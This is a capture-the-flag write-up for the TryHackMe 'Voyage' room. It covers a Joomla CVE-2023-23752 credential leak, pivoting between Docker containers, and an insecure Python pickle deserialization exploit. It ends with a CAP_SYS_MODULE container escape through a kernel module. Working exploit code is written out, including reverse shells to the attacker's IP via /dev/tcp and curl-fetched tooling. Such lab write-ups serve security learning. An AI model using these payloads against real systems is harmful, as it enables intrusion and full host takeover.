> For the complete documentation index, see [llms.txt](https://0xb0b.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xb0b.gitbook.io/writeups/tryhackme/2025/voyage.md).

# Voyage

{% embed url="<https://tryhackme.com/room/voyage>" %}

The following post by 0xb0b is licensed under [CC BY 4.0<img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg?ref=chooser-v1" alt="" data-size="line"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg?ref=chooser-v1" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

***

## Recon

We start with a rustscan and continue with an nmap default script and service scan, finding three open ports. Ports `22` and `2222`, both running SSH.

<figure><img src="/files/mMeHEWskVxxgq0quDvMd" alt=""><figcaption></figcaption></figure>

On port `80`, we have a web server running the Joomla CMS.

```
Joomla! - Open Source Content Management
```

<figure><img src="/files/r1chosRp6T1OpDislqKv" alt=""><figcaption></figcaption></figure>

We can't find anything manually or using directory scan. So we'll continue by taking a closer look at Joomla.

<figure><img src="/files/IcoiAHpWcZNYHjVDPLd0" alt=""><figcaption></figcaption></figure>

We use Joomscan for this purpose. Joomscan is an open source vulnerability scanner:

{% embed url="<https://github.com/OWASP/joomscan>" %}

We run joomscan but do not find any vulnerabilities. But the version running: `Joomla 4.2.7`

```
joomscan -u http://voyage.thm
```

<figure><img src="/files/ldfvuFlhpCaiUk3iaGnH" alt=""><figcaption></figcaption></figure>

After some research, we also found a vulnerability related to this: `CVE-2023-23752`

{% embed url="<https://www.acunetix.com/vulnerabilities/web/joomla-core-4-x-x-security-bypass-4-0-0-4-2-7/>" %}

## CVE-2023-23752

This allowed an improper access check which allows an unauthorized access to webservice endpoints exposing sensitive information:

> An issue was discovered in Joomla! 4.0.0 through 4.2.7. An improper access check allows unauthorized access to webservice endpoints.

{% embed url="<https://github.com/Youns92/Joomla-v4.2.8---CVE-2023-23752>" %}

PoCs are also available for this purpose, which access the following endpoints. We could also try it manually.

```
/api/index.php/v1/users?public=true
/api/index.php/v1/config/application?public=true
```

We run the PoC...

<figure><img src="/files/nXoGqf1jhsOFMnkEGw5I" alt=""><figcaption></figcaption></figure>

... and are able to retrieve some credentials.

<figure><img src="/files/DJ7Dhn9CFUFM5aLxPfVQ" alt=""><figcaption></figcaption></figure>

## Shell as root on f5eb774507f2

They are not valid for the login on the web page.

<figure><img src="/files/b4voKPc052yftrFOcwts" alt=""><figcaption></figcaption></figure>

Next, we try those on port 22 and 2222 and are successful on 2222. We are able to log in as `root`. We seem to be in a docker container. No flags yet, and a docker escape seems not to be applicable.

<figure><img src="/files/q2WhWUYfWtPBJW2PFkQg" alt=""><figcaption></figcaption></figure>

## Shell as root on d221f7bc7bf8

Since we are inside a container, it’s reasonable to assume that other containers or internal services may be accessible. By checking the `/etc/hosts` file, we identify the container’s internal IP address. From this, we can derive the subnet `192.186.100.0/24` and proceed to scan the internal network.

<figure><img src="/files/kCHRSkVfueSl8hj5gJrc" alt=""><figcaption></figcaption></figure>

### Internal Service Enumeration

Fortunately, Nmap is available on the machine, which is not usually the case. If nmap were not available, we could try put statically compiled version on the machine or use `ligolo-ng`. A setup for  `ligolo-ng` is described as a bonus below, but it is not mandatory.

We scan the network `192.168.100.0/24` and find the host `192.168.100.12`

```
nmap -sn 192.168.100.0/24
```

<figure><img src="/files/9i6MM1lXz6e8DYnpaCfz" alt=""><figcaption></figcaption></figure>

Unfortunatly, the service and script scan seems to fail on the victim machine.

```
nmap -sC -sV -p5000 192.168.100.12
```

We create an SSH tunnel with port forwarding using, which maps the remote service on `192.168.100.12:5000` to our local port `5000`.

```
ssh -L 5000:192.168.100.12:5000 root@voyage.thm -p2222
```

<figure><img src="/files/TEPlYiLUcspSiA5HqTGJ" alt=""><figcaption></figcaption></figure>

We redo the the service and script scan and see a python webserver running on port `5000`.

```
nmap -sC -sV -p5000 127.0.0.1
```

<figure><img src="/files/8pAYoonqi8Y1xyuJuikd" alt=""><figcaption></figcaption></figure>

The index page reveals a login page.

<figure><img src="/files/CRlJfgUVVpMC3SzBQe9O" alt=""><figcaption></figcaption></figure>

### Bonus Ligolo-ng Setup

{% embed url="<https://github.com/nicocha30/ligolo-ng/releases/tag/v0.8.2>" %}

For the subsequent phases, we can use ligolo to relay traffic between the docker container and our attacker machine to make the internal and external services of the docker container accessible from the container to our attacker machine.

> Ligolo-ng is a simple, lightweight and fast tool that allows pentesters to establish tunnels from a reverse TCP/TLS connection using a tun interface (without the need of SOCKS).

First, we set up a TUN (network tunnel) interface called ligolo on our attacker machine and configuring routes to forward traffic for specific IP ranges (`240.0.0.1`, `192.168.100/24`) through the tunnel.

```
sudo ip tuntap add user root mode tun ligolo
```

```
sudo ip link set ligolo up
```

```
sudo ip route add 240.0.0.1 dev ligolo
```

```
sudo ip route add 192.168.100.0/24 dev ligolo
```

<figure><img src="/files/SKAIqBRCVCeJIKaEKP3T" alt=""><figcaption></figcaption></figure>

On our attack machine, we start the proxy server.

```
./proxy -selfcert
```

Next, we get the agent on the docker container and connect to our proxy.

```
curl http://10.14.90.235/agent -o agent
```

```
chmod +x agent
```

```
./agent -connect 10.14.90.235:11601 --ignore-cert
```

We get a message on our ligolo-ng proxy that an agent has joined. We use `session` to select the session and then start it.

We are now able to reach the machines on networks `192.168.100.0/24` and the machines services itself.

### Access to Finance Panel

We reuse the credentials found through `CVE-2023-23752`, and are able to login.

<figure><img src="/files/A0NOTXQB2JDgDbyf7aRG" alt=""><figcaption></figcaption></figure>

There we see just an table of investments.

<figure><img src="/files/sFedty61K050GIBpj8iT" alt=""><figcaption></figcaption></figure>

### RCE via Insecure Deserialization

We inspect the cookies and find the `session_data` cookie which looks like serialized data.

<figure><img src="/files/DWTW0aDsAbvO8S5v9TDP" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```
80049525000000000000007d94288c0475736572948c04726f6f74948c07726576656e7565948c05383530303094752e
```

{% endcode %}

Since it is a python web server - recalling the results from our Nmap scan on `127.0.0.1:5000`, it could be serialized pickle data. To confirm we write a small script to deserialize the data.

{% code title="unpickle.py" overflow="wrap" lineNumbers="true" %}

```python
#!/usr/bin/env python3
import sys, pickle, base64, binascii

if len(sys.argv) != 2:
    print(f"Usage: {sys.argv[0]} <cookie>")
    sys.exit(1)

cookie = sys.argv[1]

try:
    # Try hex decode first
    data = binascii.unhexlify(cookie)
except (binascii.Error, ValueError):
    # If not hex, try base64
    data = base64.b64decode(cookie)

obj = pickle.loads(data)
print(obj)
```

{% endcode %}

We run the script and provide the cookie data and see it gets properly deserialized.

<figure><img src="/files/quyWUpPOWbWA0YADxtiV" alt=""><figcaption></figcaption></figure>

Since we know, the data is serialized by pickle we can try to craft a malicious payload, that eventually gets deserizalized and exectued by the app.

Next, we creat a malicious Python pickle payload that, when deserialized, spawns a reverse shell to our IP `10.14.90.235` on port `4445`. The `__reduce__` method in our `Exploit` class ensures that unpickling executes `subprocess.Popen` with the reverse shell command.&#x20;

{% code title="exploit.py" overflow="wrap" lineNumbers="true" %}

```python
#!/usr/bin/env python3
import pickle
import subprocess

class Exploit:
    def __reduce__(self):
        return (subprocess.Popen, (["bash", "-c", "bash -i >& /dev/tcp/10.14.90.235/4445 0>&1"],))
payload = pickle.dumps(Exploit())
print(payload.hex())
```

{% endcode %}

We run the script and receive the serialized data for the reverse shell. Next, we set up a listener on our desired port `4445`. Then we request the page using cURL providing the malicious `session_data`.

{% code overflow="wrap" %}

```
curl -H 'Cookie:session_data=80049559000000000000008c0a73756270726f63657373948c05506f70656e9493945d94288c0462617368948c022d63948c2a62617368202d69203e26202f6465762f7463702f31302e31342e39302e3233352f3434343520303e26319465859452942e' http://127.0.0.1:5000
```

{% endcode %}

<figure><img src="/files/GVnlGqUHRt7HUFBOcwgy" alt=""><figcaption></figcaption></figure>

The data gets deserialized and evaluated. We receive a connection back to our listener and are `root` on `d221f7bc7bf8`.

<figure><img src="/files/4pXIF7hO7OG3NIf36Ejx" alt=""><figcaption></figcaption></figure>

Next, we upgrade our shell.&#x20;

{% embed url="<https://0xffsec.com/handbook/shells/full-tty/>" %}

```
python3 -c 'import pty; pty.spawn("/bin/bash")'
```

```
CTRL+Z
```

```
stty raw -echo && fg
```

<figure><img src="/files/nYClKdd8J9L9oRrISMrM" alt=""><figcaption></figcaption></figure>

At `/root/user.txt` we find the first flag

<figure><img src="/files/s4b3bLUcse24mbxowGHX" alt=""><figcaption></figcaption></figure>

## Shell as root on tryhackme-2404

On `d221f7bcf7bf8` we are still in a docker container, our voyage continues. Linpeas does only spot that `/proc` is mounted for a possible container escape.

```
curl http://10.14.90.235/linpeas.sh -o linpeas.sh
```

```
chmod +x linpeas.sh
```

```
./linpeas.sh
```

<figure><img src="/files/fMaEuEnDQg9EKbtFscjl" alt=""><figcaption></figcaption></figure>

We continue with deepce, a slightly older script. But still reliable. This reveals the set capabilities.

{% embed url="<https://github.com/stealthcopter/deepce>" %}

```
curl http://10.14.90.235/deepce.sh -o deepce.sh
```

```
chmod +x deepce.sh
```

```
./deepce.sh
```

<figure><img src="/files/ei5feBu7yWrf0rQ8qpDr" alt=""><figcaption></figcaption></figure>

One of these is `cap_sys_module`. If this is set, it allows a docker escape as described several times in the following sources.

<figure><img src="/files/oSOGKKSJgn8VCeUeF4cZ" alt=""><figcaption></figcaption></figure>

{% embed url="<https://blog.pentesteracademy.com/abusing-sys-module-capability-to-perform-docker-container-breakout-cf5c29956edd>" %}

{% embed url="<https://www.cybereason.com/blog/container-escape-all-you-need-is-cap-capabilities>" %}

{% embed url="<https://medium.com/@xUr00U/docker-container-breakout-part-1-d364fede4209>" %}

In short: Because the `CAP_SYS_MODULE` Linux capability allows a process (even inside a Docker container) to load or unload kernel modules, an attacker with container-level execution can insert a malicious module that executes code or launches a reverse shell on the host, effectively breaking out of the container’s isolation. 

We adapt the script with our IP and port for a reverse shell and provide the script and Makefile from the sources using a Python web server and transfer them to the machine.

{% code title="rev.c" overflow="wrap" lineNumbers="true" %}

```c
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kmod.h>

MODULE_LICENSE("GPL");

static int start_shell(void) {
    char *argv[] = {
        "/bin/bash",
        "-c",
        "bash -i >& /dev/tcp/10.14.90.235/4445 0>&1",
        NULL
    };

    static char *env[] = {
        "HOME=/",
        "TERM=linux",
        "PATH=/sbin:/bin:/usr/sbin:/usr/bin",
        NULL
    };

    return call_usermodehelper(argv[0], argv, env, UMH_WAIT_PROC);
}

static int init_mod(void) {
    return start_shell();
}

static void exit_mod(void) {
    return;
}

module_init(init_mod);
module_exit(exit_mod);
```

{% endcode %}

We adjust the Makefile because our test always used the incorrect version 6.8.0-1031-aws, which was not installed. We simply hardcode this.

{% code title="Makefile" overflow="wrap" lineNumbers="true" %}

```c
root@d221f7bc7bf8:/tmp/exp# cat Makefile 
obj-m += rev.o

KVER := 6.8.0-1030-aws
KDIR := /lib/modules/$(KVER)/build
PWD  := $(shell pwd)

all:
	make -C $(KDIR) M=$(PWD) modules

clean:
	make -C $(KDIR) M=$(PWD) clean
```

{% endcode %}

We transfer the files.

```
curl http://10.14.90.235/rev.c -o rev.c
```

```
curl http://10.14.90.235/Makefile -o Makefile
```

Then we compile the exploit.

```
make
```

Next, we trigger the exploit with the following:

```
insmod rev.ko
```

<figure><img src="/files/FvDVF4USmC90W0fwqtJO" alt=""><figcaption></figcaption></figure>

We receive a connection back and are `root` on `d221f7bcf7bf8` and find the final flag at `/root/root.txt.`

<figure><img src="/files/qCUpAYifLAsbUNci2BYv" alt=""><figcaption></figcaption></figure>
